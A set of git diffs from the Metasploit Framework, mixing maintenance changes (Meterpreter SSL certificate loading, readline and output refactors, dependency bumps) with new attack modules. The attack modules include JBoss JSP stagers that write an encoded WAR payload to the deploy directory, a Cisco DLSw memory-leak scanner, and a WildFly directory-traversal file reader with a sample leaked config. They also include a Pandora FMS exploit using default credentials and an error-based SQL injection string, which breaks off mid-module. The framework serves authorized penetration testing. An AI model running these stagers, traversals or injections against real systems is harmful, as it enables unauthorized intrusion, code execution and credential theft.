if arch =~ /(x86|i386|i686)/i
return ARCH_X86
elsif arch =~ /(x86_64|amd64)/i
return ARCH_X86
end
end
nil
end
end

View File

@ -0,0 +1,76 @@
# -*- coding: binary -*-
module Msf::HTTP::JBoss::DeploymentFileRepository
# Upload a text file with DeploymentFileRepository.store()
#
# @param base_name [String] The destination base name
# @param jsp_name [String] The destanation file name
# @param content [String] The content of the file
# @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response, nil if timeout
def upload_file(base_name, jsp_name, content)
params = { }
params.compare_by_identity
params['action'] = 'invokeOpByName'
params['name'] = 'jboss.admin:service=DeploymentFileRepository'
params['methodName'] = 'store'
params['argType'] = 'java.lang.String'
params['arg0'] = base_name + '.war'
params['argType'] = 'java.lang.String'
params['arg1'] = jsp_name
params['argType'] = 'java.lang.String'
params['arg2'] = '.jsp'
params['argType'] = 'java.lang.String'
params['arg3'] = content
params['argType'] = 'boolean'
params['arg4'] = 'True'
opts = {
'method' => http_verb,
'uri' => normalize_uri(target_uri.path.to_s, '/HtmlAdaptor')
}
if http_verb == 'POST'
opts.merge!('vars_post' => params)
else
opts.merge!('vars_get' => params)
end
send_request_cgi(opts)
end
# Delete a file with DeploymentFileRepository.remove().
#
# @param folder [String] The destination folder name
# @param name [String] The destination file name
# @param ext [String] The destination file extension
# @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response, nil if timeout
def delete_file(folder, name, ext)
params = { }
params.compare_by_identity
params['action'] = 'invokeOpByName'
params['name'] = 'jboss.admin:service=DeploymentFileRepository'
params['methodName'] = 'remove'
params['argType'] = 'java.lang.String'
params['arg0'] = folder
params['argType'] = 'java.lang.String'
params['arg1'] = name
params['argType'] = 'java.lang.String'
params['arg2'] = ext
opts = {
'method' => http_verb,
'uri' => normalize_uri(target_uri.path.to_s, '/HtmlAdaptor')
}
if http_verb == 'POST'
opts.merge!('vars_post' => params)
timeout = 5
else
opts.merge!('vars_get' => params)
timeout = 30
end
send_request_cgi(opts, timeout)
end
end

View File

@ -0,0 +1,76 @@
# -*- coding: binary -*-
module Msf::HTTP::JBoss::DeploymentFileRepositoryScripts
# Generate a stager JSP to write the second stager to the
# deploy/management directory. It is only used with HEAD/GET requests
# to overcome the size limit in those requests
#
# @param stager_base [String] The name of the base of the stager.
# @param stager_jsp [String] The name name of the jsp stager.
# @return [String] The JSP head stager.
def head_stager_jsp(stager_base, stager_jsp_name)
content_var = Rex::Text.rand_text_alpha(8+rand(8))
file_path_var = Rex::Text.rand_text_alpha(8+rand(8))
jboss_home_var = Rex::Text.rand_text_alpha(8+rand(8))
fos_var = Rex::Text.rand_text_alpha(8+rand(8))
bw_var = Rex::Text.rand_text_alpha(8+rand(8))
head_stager_jsp_code = <<-EOT
<%@page import="java.io.*,
java.util.*"
%>
<%
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{stager_base}.war/" + "#{stager_jsp_name}" + ".jsp";
try {
String #{content_var} = "";
String parameterName = (String)(request.getParameterNames().nextElement());
#{content_var} = request.getParameter(parameterName);
FileWriter #{fos_var} = new FileWriter(#{file_path_var}, true);
BufferedWriter #{bw_var} = new BufferedWriter(#{fos_var});
#{bw_var}.write(#{content_var});
#{bw_var}.close();
}
catch(Exception e) { }
%>
EOT
head_stager_jsp_code
end
# Generate a stager JSP to write a WAR file to the deploy/ directory.
# This is used to bypass the size limit for GET/HEAD requests.
#
# @param app_base [String] The name of the WAR app to write.
# @return [String] The JSP stager.
def stager_jsp_with_payload(app_base, encoded_payload)
decoded_var = Rex::Text.rand_text_alpha(8+rand(8))
file_path_var = Rex::Text.rand_text_alpha(8+rand(8))
jboss_home_var = Rex::Text.rand_text_alpha(8+rand(8))
fos_var = Rex::Text.rand_text_alpha(8+rand(8))
content_var = Rex::Text.rand_text_alpha(8+rand(8))
stager_jsp = <<-EOT
<%@page import="java.io.*,
java.util.*,
sun.misc.BASE64Decoder"
%>
<%
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{app_base}.war";
try {
String #{content_var} = "#{encoded_payload}";
FileOutputStream #{fos_var} = new FileOutputStream(#{file_path_var});
byte[] #{decoded_var} = new BASE64Decoder().decodeBuffer(#{content_var});
#{fos_var}.write(#{decoded_var});
#{fos_var}.close();
}
catch(Exception e){ }
%>
EOT
stager_jsp
end
end

View File

@ -205,6 +205,16 @@ class Core
end
print_status("Reloading modules from all module paths...")
framework.modules.reload_modules
# Check for modules that failed to load
if framework.modules.module_load_error_by_path.length > 0
print_error("WARNING! The following modules could not be loaded!")
framework.modules.module_load_error_by_path.each do |path, error|
print_error("\t#{path}: #{error}")
end
end
cmd_banner()
end

View File

@ -59,7 +59,10 @@ class Driver < Msf::Ui::Driver
histfile = opts['HistFile'] || Msf::Config.history_file
# Initialize attributes
self.framework = opts['Framework'] || Msf::Simple::Framework.create(opts)
# Defer loading of modules until paths from opts can be added below
framework_create_options = {'DeferModuleLoads' => true}.merge(opts)
self.framework = opts['Framework'] || Msf::Simple::Framework.create(framework_create_options)
if self.framework.datastore['Prompt']
prompt = self.framework.datastore['Prompt']

View File

@ -42,9 +42,9 @@ class Client
@@ext_hash = {}
#
# Cached SSL certificate (required to scale)
# Cached auto-generated SSL certificate
#
@@ssl_ctx = nil
@@ssl_cached_cert = nil
#
# Mutex to synchronize class-wide operations
@ -106,7 +106,6 @@ class Client
self.capabilities = opts[:capabilities] || {}
self.commands = []
self.conn_id = opts[:conn_id]
self.url = opts[:url]
self.ssl = opts[:ssl]
@ -116,9 +115,21 @@ class Client
self.response_timeout = opts[:timeout] || self.class.default_timeout
self.send_keepalives = true
# TODO: Clarify why we don't allow unicode to be set in initial options
# self.encode_unicode = opts.has_key?(:encode_unicode) ? opts[:encode_unicode] : true
self.encode_unicode = false
# The SSL certificate is being passed down as a file path
if opts[:ssl_cert]
if ! ::File.exists? opts[:ssl_cert]
elog("SSL certificate at #{opts[:ssl_cert]} does not exist and will be ignored")
else
# Load the certificate the same way that SslTcpServer does it
self.ssl_cert = ::File.read(opts[:ssl_cert])
end
end
if opts[:passive_dispatcher]
initialize_passive_dispatcher
@ -200,68 +211,43 @@ class Client
end
def generate_ssl_context
ctx = nil
ssl_cert_info = nil
loop do
# Load a custom SSL certificate if one has been specified
if self.ssl_cert
wlog("Loading custom SSL certificate for Meterpreter session")
ssl_cert_info = Rex::Socket::SslTcpServer.ssl_parse_pem(self.ssl_cert)
wlog("Loaded custom SSL certificate for Meterpreter session")
break
end
# Generate a certificate if necessary and cache it
if ! @@ssl_cached_cert
@@ssl_mutex.synchronize do
if not @@ssl_ctx
wlog("Generating SSL certificate for Meterpreter sessions")
@@ssl_cached_cert = Rex::Socket::SslTcpServer.ssl_generate_certificate
wlog("Generated SSL certificate for Meterpreter sessions")
end
end
key = OpenSSL::PKey::RSA.new(1024){ }
cert = OpenSSL::X509::Certificate.new
cert.version = 2
cert.serial = rand(0xFFFFFFFF)
# Depending on how the socket was created, getsockname will
# return either a struct sockaddr as a String (the default ruby
# Socket behavior) or an Array (the extend'd Rex::Socket::Tcp
# behavior). Avoid the ambiguity by always picking a random
# hostname. See #7350.
subject_cn = Rex::Text.rand_hostname
subject = OpenSSL::X509::Name.new([
["C","US"],
['ST', Rex::Text.rand_state()],
["L", Rex::Text.rand_text_alpha(rand(20) + 10)],
["O", Rex::Text.rand_text_alpha(rand(20) + 10)],
["CN", subject_cn],
])
issuer = OpenSSL::X509::Name.new([
["C","US"],
['ST', Rex::Text.rand_state()],
["L", Rex::Text.rand_text_alpha(rand(20) + 10)],
["O", Rex::Text.rand_text_alpha(rand(20) + 10)],
["CN", Rex::Text.rand_text_alpha(rand(20) + 10)],
])
cert.subject = subject
cert.issuer = issuer
cert.not_before = Time.now - (3600 * 365) + rand(3600 * 14)
cert.not_after = Time.now + (3600 * 365) + rand(3600 * 14)
cert.public_key = key.public_key
ef = OpenSSL::X509::ExtensionFactory.new(nil,cert)
cert.extensions = [
ef.create_extension("basicConstraints","CA:FALSE"),
ef.create_extension("subjectKeyIdentifier","hash"),
ef.create_extension("extendedKeyUsage","serverAuth"),
ef.create_extension("keyUsage","keyEncipherment,dataEncipherment,digitalSignature")
]
ef.issuer_certificate = cert
cert.add_extension ef.create_extension("authorityKeyIdentifier", "keyid:always,issuer:always")
cert.sign(key, OpenSSL::Digest::SHA1.new)
ctx = OpenSSL::SSL::SSLContext.new
ctx.key = key
ctx.cert = cert
# Use the cached certificate
ssl_cert_info = @@ssl_cached_cert
break
end
# Create a new context for each session
ctx = OpenSSL::SSL::SSLContext.new()
ctx.key = ssl_cert_info[0]
ctx.cert = ssl_cert_info[1]
ctx.extra_chain_cert = ssl_cert_info[2]
ctx.options = 0
ctx.session_id_context = Rex::Text.rand_text(16)
wlog("Generated SSL certificate for Meterpreter sessions")
@@ssl_ctx = ctx
end # End of if not @ssl_ctx
end # End of mutex.synchronize
@@ssl_ctx
ctx
end
##
@ -453,6 +439,10 @@ class Client
#
attr_accessor :ssl
#
# Use this SSL Certificate (unified PEM)
#
attr_accessor :ssl_cert
#
# The Session Expiration Timeout
#
attr_accessor :expiration

View File

@ -96,7 +96,7 @@ module PacketDispatcher
# If the first 4 bytes are "RECV", return the oldest packet from the outbound queue
if req.body[0,4] == "RECV"
rpkt = send_queue.pop
rpkt = send_queue.shift
resp.body = rpkt || ''
begin
cli.send_response(resp)

View File

@ -83,7 +83,7 @@ begin
Thread.current.priority = -20
output.prompting
line = ::Readline.readline(prompt, true)
line = readline_with_output(prompt, true)
::Readline::HISTORY.pop if (line and line.empty?)
ensure
Thread.current.priority = orig || 0
@ -116,6 +116,37 @@ begin
#
attr_accessor :output
private
def readline_with_output(prompt, add_history=false)
# rb-readlines's Readline.readline hardcodes the input and output to $stdin and $stdout, which means setting
# `Readline.input` or `Readline.ouput` has no effect when running `Readline.readline` with rb-readline, so need
# to reimplement []`Readline.readline`](https://github.com/luislavena/rb-readline/blob/ce4908dae45dbcae90a6e42e3710b8c3a1f2cd64/lib/readline.rb#L36-L58)
# for rb-readline to support setting input and output. Output needs to be set so that colorization works for the
# prompt on Windows.
if defined? RbReadline
RbReadline.rl_instream = fd
RbReadline.rl_outstream = output
begin
line = RbReadline.readline(prompt)
rescue ::Exception => exception
RbReadline.rl_cleanup_after_signal()
RbReadline.rl_deprep_terminal()
raise exception
end
if add_history && line
RbReadline.add_history(line)
end
line.try(:dup)
else
::Readline.readline(prompt, true)
end
end
end
rescue LoadError
end

View File

@ -16,6 +16,76 @@ module Text
#
###
class Output::Stdio < Rex::Ui::Text::Output
#
# Attributes
#
# @!attribute io
# The raw `IO` backing this Text output. Defaults to `$stdout`
#
# @return [#flush, #puts, #write]
attr_writer :io
#
# Constructor
#
# @param options [Hash{Symbol => IO}]
# @option options [IO]
def initialize(options={})
options.assert_valid_keys(:io)
super()
self.io = options[:io]
end
#
# Methods
#
def flush
io.flush
end
# IO to write to.
#
# @return [IO] Default to `$stdout`
def io
@io ||= $stdout
end
#
# Prints the supplied message to standard output.
#
def print_raw(msg = '')
if (Rex::Compat.is_windows and supports_color?)
WindowsConsoleColorSupport.new(io).write(msg)
else
io.print(msg)
end
io.flush
msg
end
alias_method :write, :print_raw
def puts(*args)
args.each do |argument|
line = argument.to_s
write(line)
unless line.ends_with? "\n"
# yes, this is output, but `IO#puts` uses `rb_default_rs`, which is
# [`$/`](https://github.com/ruby/ruby/blob/3af8e150aded9d162bfd41426aaaae0279e5a653/io.c#L12168-L12172),
# which is [`$INPUT_RECORD_SEPARATOR`](https://github.com/ruby/ruby/blob/3af8e150aded9d162bfd41426aaaae0279e5a653/lib/English.rb#L83)
write($INPUT_RECORD_SEPARATOR)
end
end
nil
end
def supports_color?
case config[:color]
@ -31,20 +101,6 @@ class Output::Stdio < Rex::Ui::Text::Output
return (term and term.match(/(?:vt10[03]|xterm(?:-color)?|linux|screen|rxvt)/i) != nil)
end
end
#
# Prints the supplied message to standard output.
#
def print_raw(msg = '')
if (Rex::Compat.is_windows and supports_color?)
WindowsConsoleColorSupport.new($stdout).write(msg)
else
$stdout.print(msg)
end
$stdout.flush
msg
end
end
end

View File

@ -31,7 +31,7 @@ Gem::Specification.new do |spec|
spec.add_runtime_dependency 'activerecord', rails_version_constraint
# Metasploit::Credential database models
spec.add_runtime_dependency 'metasploit-credential', '~> 0.13.3'
spec.add_runtime_dependency 'metasploit-credential', '~> 0.13.6'
# Database models shared between framework and Pro.
spec.add_runtime_dependency 'metasploit_data_models', '~> 0.21.1'
# depend on metasploit-framewrok as the optional gems are useless with the actual code

View File

@ -126,8 +126,9 @@ class Metasploit3 < Msf::Auxiliary
case action.name
when 'Deploy'
unless File.exist?(datastore['WARFILE'])
unless datastore['WARFILE'] && File.exist?(datastore['WARFILE'])
print_error("WAR file not found")
return
end
war_data = File.read(datastore['WARFILE'])
deploy_action(app_base, war_data)

View File

@ -15,7 +15,7 @@ class Metasploit3 < Msf::Auxiliary
super(update_info(info,
'Name' => 'Microsoft SQL Server SUSER_SNAME Windows Domain Account Enumeration',
'Description' => %q{
This module can be used to brute force RIDs associated with the domain of the SQL Server
This module can be used to bruteforce RIDs associated with the domain of the SQL Server
using the SUSER_SNAME function. This is similar to the smb_lookupsid module, but executed
through SQL Server queries as any user with the PUBLIC role (everyone). Information that
can be enumerated includes Windows domain users, groups, and computer accounts. Enumerated

View File

@ -15,7 +15,7 @@ class Metasploit3 < Msf::Auxiliary
super(update_info(info,
'Name' => 'Microsoft SQL Server - SQLi SUSER_SNAME Domain Account Enumeration',
'Description' => %q{
This module can be used to brute force RIDs associated with the domain of the SQL Server
This module can be used to bruteforce RIDs associated with the domain of the SQL Server
using the SUSER_SNAME function via Error Based SQL injection. This is similar to the
smb_lookupsid module, but executed through SQL Server queries as any user with the PUBLIC
role (everyone). Information that can be enumerated includes Windows domain users, groups,

View File

@ -30,7 +30,7 @@ class Metasploit3 < Msf::Auxiliary
OptInt.new('TIMEOUT', [true, 'The number of seconds to wait for new data', 5]),
], self.class)
deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE', 'UDP_SECRET', 'GATEWAY', 'NETMASK')
deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE', 'SECRET', 'GATEWAY_PROBE_HOST', 'GATEWAY_PROBE_PORT')
end
def run_batch_size

View File

@ -25,6 +25,12 @@ class Metasploit3 < Msf::Auxiliary
OptBool.new('RANDOMIZE_PORTS', [false, 'Randomize the order the ports are probed', true])
], self.class)
# RPORT is required by UDPScanner but not used in this module since it
# works with multiple ports.
# TODO: update this module to simply use Scanner or update UDPScanner to support
# multiple ports.
deregister_options('RPORT')
# Intialize the probes array
@probes = []

View File

@ -0,0 +1,114 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'socket'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'Cisco DLSw Information Disclosure Scanner',
'Description' => %q(
This module implements the DLSw information disclosure retrieval. There
is a bug in Cisco's DLSw implementation affecting 12.x and 15.x trains
that allows an unuthenticated remote attacker to retrieve the partial
contents of packets traversing a Cisco router with DLSw configured
and active.
),
'Author' => [
'Tate Hansen', # Vulnerability discovery
'John McLeod', # Vulnerability discovery
'Kyle Rainey' # Built lab to recreate vulnerability and help test
],
'References' =>
[
['CVE', '2014-7992'],
['URL', 'https://github.com/tatehansen/dlsw_exploit']
],
'DisclosureDate' => 'Nov 17 2014',
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(2067),
OptInt.new('LEAK_AMOUNT', [true, 'The number of bytes to store before shutting down.', 1024])
], self.class)
end
def peer
"#{rhost}:#{rport}"
end
def get_response(size = 72)
connect
response = sock.get_once(size)
disconnect
response
end
# Called when using check
def check_host(_ip)
print_status("#{peer}: Checking for DLSw information disclosure (CVE-2014-7992)")
response = get_response
if response.blank?
vprint_status("#{peer}: no response")
Exploit::CheckCode::Safe
elsif response[0..1] == "\x31\x48" || response[0..1] == "\x32\x48"
vprint_good("#{peer}: Detected DLSw protocol")
report_service(
host: rhost,
port: rport,
proto: 'tcp',
name: 'dlsw'
)
# TODO: check that response has something that truly indicates it is vulnerable
# and not simply that it responded
unless response[18..72].scan(/\x00/).length == 54
print_good("#{peer}: vulnerable to DLSw information disclosure; leaked #{response.length} bytes")
report_vuln(
host: rhost,
port: rport,
name: name,
refs: references,
info: "Module #{fullname} collected #{response.length} bytes"
)
Exploit::CheckCode::Vulnerable
end
else
vprint_status("#{peer}: #{response.size}-byte response didn't contain any leaked data")
Exploit::CheckCode::Safe
end
end
# Main method
def run_host(ip)
return unless check_host(ip) == Exploit::CheckCode::Vulnerable
dlsw_data = ''
until dlsw_data.length > datastore['LEAK_AMOUNT']
response = get_response
dlsw_data << response[18..72] unless response.blank?
end
loot_and_report(dlsw_data)
end
def loot_and_report(dlsw_leak)
path = store_loot(
'dlsw.packet.contents',
'application/octet-stream',
rhost,
dlsw_leak,
'DLSw_leaked_data',
'DLSw packet memory leak'
)
print_status("#{peer}: DLSw leaked data stored in #{path}")
end
end

View File

@ -48,7 +48,7 @@ class Metasploit3 < Msf::Auxiliary
connect
sock.put("GET /_vti_inf.html HTTP/1.1\r\n" + "TE: deflate,gzip;q=0.3\r\n" + "Keep-Alive: 300\r\n" +
"Connection: Keep-Alive, TE\r\n" + "Host: #{target_host}\r\n" + "User-Agent: " +
"Connection: Keep-Alive, TE\r\n" + "Host: #{vhost}\r\n" + "User-Agent: " +
datastore['UserAgent'] + "\r\n\r\n")
res = sock.get_once || ''
@ -95,8 +95,9 @@ class Metasploit3 < Msf::Auxiliary
method = "method=open+service:#{fpversion}&service_name=/"
req = "POST /_vti_bin/_vti_aut/author.dll HTTP/1.1\r\n" + "TE: deflate,gzip;q=0.3\r\n" +
"Keep-Alive: 300\r\n" + "Connection: Keep-Alive, TE\r\n" + "Host: #{target_host}\r\n" +
"Keep-Alive: 300\r\n" + "Connection: Keep-Alive, TE\r\n" + "Host: #{vhost}\r\n" +
"User-Agent: " + datastore['UserAgent'] + "\r\n" + "Content-Type: application/x-www-form-urlencoded\r\n" +
"X-Vermeer-Content-Type: application/x-www-form-urlencoded" + "\r\n" +
"Content-Length: #{method.length}\r\n\r\n" + method + "\r\n\r\n"
sock.put(req)

View File

@ -0,0 +1,107 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'WildFly Directory Traversal',
'Description' => %q{
This module exploits a directory traversal vulnerability found in the WildFly 8.1.0.Final
web server running on port 8080, named JBoss Undertow. The vulnerability only affects to
Windows systems.
},
'References' =>
[
['CVE', '2014-7816' ],
['URL', 'https://access.redhat.com/security/cve/CVE-2014-7816'],
['URL', 'https://www.conviso.com.br/advisories/CONVISO-14-001.txt'],
['URL', 'http://www.openwall.com/lists/oss-security/2014/11/27/4']
],
'Author' => 'Roberto Soares Espreto <robertoespreto[at]gmail.com>',
'License' => MSF_LICENSE,
'DisclosureDate' => 'Oct 22 2014'
))
register_options(
[
Opt::RPORT(8080),
OptString.new('RELATIVE_FILE_PATH', [true, 'Relative path to the file to read', 'standalone\\configuration\\standalone.xml']),
OptInt.new('TRAVERSAL_DEPTH', [true, 'Traversal depth', 1])
], self.class)
end
def run_host(ip)
vprint_status("#{peer} - Attempting to download: #{datastore['RELATIVE_FILE_PATH']}")
traversal = "..\\" * datastore['TRAVERSAL_DEPTH']
res = send_request_raw({
'method' => 'GET',
'uri' => "/#{traversal}\\#{datastore['RELATIVE_FILE_PATH']}"
})
if res &&
res.code == 200 &&
res.headers['Server'] &&
res.headers['Server'] =~ /WildFly/
vprint_line(res.to_s)
fname = File.basename(datastore['RELATIVE_FILE_PATH'])
path = store_loot(
'wildfly.http',
'application/octet-stream',
ip,
res.body,
fname
)
print_good("#{peer} - File saved in: #{path}")
else
vprint_error("#{peer} - Nothing was downloaded")
end
end
end
=begin
GET /..\\standalone\\configuration\\standalone.xml HTTP/1.1
User-Agent: curl/7.38.0
Host: 127.0.0.1:8080
Accept: */*
HTTP/1.1 200 OK
Connection: keep-alive
Last-Modified: Wed, 22 Oct 2014 14:37:28 GMT
X-Powered-By: Undertow/1
Server: WildFly/8
Content-Type: text/xml
Content-Length: 19697
Date: Wed, 22 Oct 2014 16:32:08 GMT
<?xml version='1.0' encoding='UTF-8'?>
<server xmlns="urn:jboss:domain:2.1">
<extensions>
<extension module="org.jboss.as.clustering.infinispan"/>
...snip...
<subsystem xmlns="urn:jboss:domain:datasources:2.0">
<datasources>
<datasource jndi-name="java:jboss/datasources/ExampleDS" pool-name="ExampleDS" enabled="true" use-java-context="true">
<connection-url>jdbc:h2:mem:test;DB_CLOSE_DELAY=-1;DB_CLOSE_ON_EXIT=FALSE</connection-url>
<driver>h2</driver>
<security>
<user-name>sa</user-name>
<password>sa</password>
</security>
</datasource>
<drivers>
<driver name="h2" module="com.h2database.h2">
<xa-datasource-class>org.h2.jdbcx.JdbcDataSource</xa-datasource-class>
...snip...
=end

View File

@ -339,7 +339,7 @@ class Metasploit3 < Msf::Auxiliary
def tls_jabber
sock.put(jabber_connect_msg(xmpp_domain))
res = sock.get_once(-1, response_timeout)
res = get_data
if res && res.include?('host-unknown')
jabber_host = res.match(/ from='([\w.]*)' /)
if jabber_host && jabber_host[1]
@ -347,7 +347,7 @@ class Metasploit3 < Msf::Auxiliary
establish_connect
vprint_status("#{peer} - Connecting with autodetected remote XMPP hostname: #{jabber_host[1]}...")
sock.put(jabber_connect_msg(jabber_host[1]))
res = sock.get_once(-1, response_timeout)
res = get_data
end
end
if res.nil? || res.include?('stream:error') || res !~ /<starttls xmlns=['"]urn:ietf:params:xml:ns:xmpp-tls['"]/
@ -356,14 +356,14 @@ class Metasploit3 < Msf::Auxiliary
end
msg = "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
sock.put(msg)
res = sock.get_once(-1, response_timeout)
res = get_data
return nil if res.nil? || !res.include?('<proceed')
res
end
def tls_ftp
# http://tools.ietf.org/html/rfc4217
res = sock.get_once(-1, response_timeout)
res = get_data
return nil if res.nil?
sock.put("AUTH TLS\r\n")
res = get_data
@ -383,18 +383,25 @@ class Metasploit3 < Msf::Auxiliary
# Get data from the socket
# this ensures the requested length is read (if available)
def get_data(length = -1)
return sock.get_once(-1, response_timeout) if length == -1
to_receive = length
data = ''
while to_receive > 0
done = false
while done == false
begin
temp = sock.get_once(to_receive, response_timeout)
rescue EOFError
break
end
break if temp.nil?
data << temp
if length != -1
to_receive -= temp.length
done = true if to_receive <= 0
end
end
data
end
@ -417,8 +424,7 @@ class Metasploit3 < Msf::Auxiliary
vprint_status("#{peer} - Sending Client Hello...")
sock.put(client_hello)
server_hello = sock.get_once(-1, response_timeout)
server_hello = get_data
unless server_hello
vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...")
return nil
@ -777,19 +783,19 @@ class Metasploit3 < Msf::Auxiliary
cert_len_padding = unpacked[0]
cert_len = unpacked[1]
vprint_debug("\t\tCertificates length: #{cert_len}")
vprint_debug("\t\tData length: #{data.length}")
# contains multiple certs
already_read = 3
cert_counter = 0
while already_read < cert_len
start = already_read
cert_counter += 1
# get single certificate length
single_cert_unpacked = data[start, 3].unpack('Cn')
single_cert_unpacked = data[already_read, 3].unpack('Cn')
single_cert_len_padding = single_cert_unpacked[0]
single_cert_len = single_cert_unpacked[1]
vprint_debug("\t\tCertificate ##{cert_counter}:")
vprint_debug("\t\t\tCertificate ##{cert_counter}: Length: #{single_cert_len}")
certificate_data = data[(start + 3), single_cert_len]
certificate_data = data[(already_read + 3), single_cert_len]
cert = OpenSSL::X509::Certificate.new(certificate_data)
# First received certificate is the one from the server
@cert = cert if @cert.nil?

View File

@ -57,7 +57,7 @@ class Metasploit3 < Msf::Auxiliary
OptAddress.new('LOCALIP', [false, 'The IP address of the local interface'])
], self.class)
deregister_options('SNAPLEN','FILTER','PCAPFILE','RHOST','UDP_SECRET','GATEWAY','NETMASK', 'TIMEOUT')
deregister_options('SNAPLEN','FILTER','PCAPFILE','RHOST','SECRET','GATEWAY_PROBE_HOST', 'GATEWAY_PROBE_PORT', 'TIMEOUT')
end
def run

View File

@ -47,7 +47,7 @@ class Metasploit3 < Msf::Auxiliary
OptBool.new( 'BROADCAST', [true, 'If set, the module will send replies on the broadcast address witout consideration of DHOSTS', false])
], self.class)
deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE','RHOST','UDP_SECRET','GATEWAY','NETMASK')
deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE','RHOST','SECRET','GATEWAY_PROBE_HOST','GATEWAY_PROBE_PORT')
end
def run

View File

@ -27,7 +27,7 @@ class Metasploit3 < Msf::Auxiliary
OptInt.new('PKT_DELAY', [true, "the delay in millisecond between each packet",0]),
], self.class)
deregister_options('SNAPLEN','FILTER','PCAPFILE','RHOST','TIMEOUT','UDP_SECRET','GATEWAY','NETMASK')
deregister_options('SNAPLEN','FILTER','PCAPFILE','RHOST','TIMEOUT','SECRET','GATEWAY_PROBE_HOST','GATEWAY_PROBE_PORT')
end
def run

View File

@ -0,0 +1,317 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => 'Pandora FMS Default Credential / SQLi Remote Code Execution',
'Description' => %q{
This module attempts to exploit multiple issues in order to gain remote
code execution under Pandora FMS version <= 5.0 SP2. First, an attempt
to authenticate using default credentials is performed. If this method
fails, a SQL injection vulnerability is leveraged in order to extract
the "Auto Login" password hash. If this value is not set, the module
will then extract the administrator account's MD5 password hash.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Lincoln <Lincoln[at]corelan.be>', # Discovery, Original Proof of Concept
'Jason Kratzer <pyoor[at]corelan.be>' # Metasploit Module
],
'References' =>
[
['URL', 'http://pandorafms.com/downloads/whats_new_5-SP3.pdf'],
['URL', 'http://blog.pandorafms.org/?p=2041']
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
['Pandora FMS version <= 5.0 SP2', {}]
],
'Privileged' => false,
'Payload' =>
{
'Space' => 50000,
'DisableNops' => true,
},
'DisclosureDate' => "Feb 1 2014",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The URI of the vulnerable Pandora FMS instance', '/pandora_console/']),
OptString.new('USER', [false, 'The username to authenticate with', 'admin']),
OptString.new('PASS', [false, 'The password to authenticate with', 'pandora']),
], self.class)
end
def uri
target_uri.path
end
def check
vprint_status("#{peer} - Trying to detect installed version")
version = nil
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php')
})
if res && res.code == 200 && res.body =~ /Pandora FMS - the Flexible Monitoring System/
if res.body =~ /<div id="ver_num">v(.*?)<\/div>/
version = $1
else
return Exploit::CheckCode::Detected
end
end
unless version.nil?
vprint_status("#{peer} - Pandora FMS #{version} found")
if Gem::Version.new(version) <= Gem::Version.new('5.0SP2')
return Exploit::CheckCode::Appears
end
end
Exploit::CheckCode::Safe
end
# Attempt to login with credentials (default admin:pandora)
def authenticate
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'index.php'),
'vars_get' => {
'login' => "1",
},
'vars_post' => {
'nick' => datastore['USER'],
'pass' => datastore['PASS'],
'Login' => 'Login',
}
})
return auth_succeeded?(res)
end
# Attempt to login with auto login and SQLi
def login_hash
clue = rand_text_alpha(8)
sql_clue = clue.each_byte.map { |b| b.to_s(16) }.join
# select value from tconfig where token = 'loginhash_pwd';
sqli = "1' AND (SELECT 2243 FROM(SELECT COUNT(*),CONCAT(0x#{sql_clue},(SELECT MID((IFNULL(CAST"
sqli << "(value AS CHAR),0x20)),1,50) FROM tconfig WHERE token = 0x6c6f67696e686173685f707764 "
sqli << "LIMIT 0,1),0x#{sql_clue},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP "
sqli << "BY x)a) AND 'msf'='msf"
password = inject_sql(sqli, clue)
if password && password.length != 0
print_status("#{peer} - Extracted auto login password (#{password})")
else
print_error("#{peer} - No auto login password has been defined!")
return false
end
print_status("#{peer} - Attempting to authenticate using (admin:#{password})")
# Attempt to login using login hash password
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'index.php'),
'vars_get' => {
'loginhash' => 'auto',
},
'vars_post' => {
'loginhash_data' => Rex::Text.md5("admin#{password}"),
'loginhash_user' => 'admin',
}
})
return auth_succeeded?(res)
end
def auth_succeeded?(res)
if res && res.code == 200 && res.body.include?('Welcome to Pandora FMS')
print_status("#{peer} - Successfully authenticated!")
print_status("#{peer} - Attempting to retrieve session cookie")
@cookie = res.get_cookies
if @cookie.include?('PHPSESSID')
print_status("#{peer} - Successfully retrieved session cookie: #{@cookie}")
return true
else
print_error("#{peer} - Error retrieving cookie!")
end
else
print_error("#{peer} - Authentication failed!")
end
false
end
def extract
# Generate random string and convert to hex
clue = rand_text_alpha(8)
hex_clue = clue.each_byte.map { |b| b.to_s(16) }.join
# select password from tusuario where id_user = 0;
